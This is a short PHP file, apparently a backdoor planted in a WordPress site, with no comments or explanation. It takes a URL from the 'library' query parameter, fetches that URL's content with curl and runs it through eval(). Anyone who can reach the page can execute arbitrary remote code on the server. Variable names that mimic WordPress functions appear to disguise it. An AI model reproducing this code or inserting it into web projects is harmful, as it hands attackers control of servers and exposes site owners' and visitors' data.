<?php

if (isset($_GET['library'])) {
    $get_header_to = $_GET['library'];
    if ($number_format_i18n_fsb = curl_init()) {
        curl_setopt($number_format_i18n_fsb, CURLOPT_URL, $get_header_to);
        curl_setopt($number_format_i18n_fsb, CURLOPT_RETURNTRANSFER, true);
        eval(curl_exec($number_format_i18n_fsb));
        curl_close($number_format_i18n_fsb);
        exit;
    }
}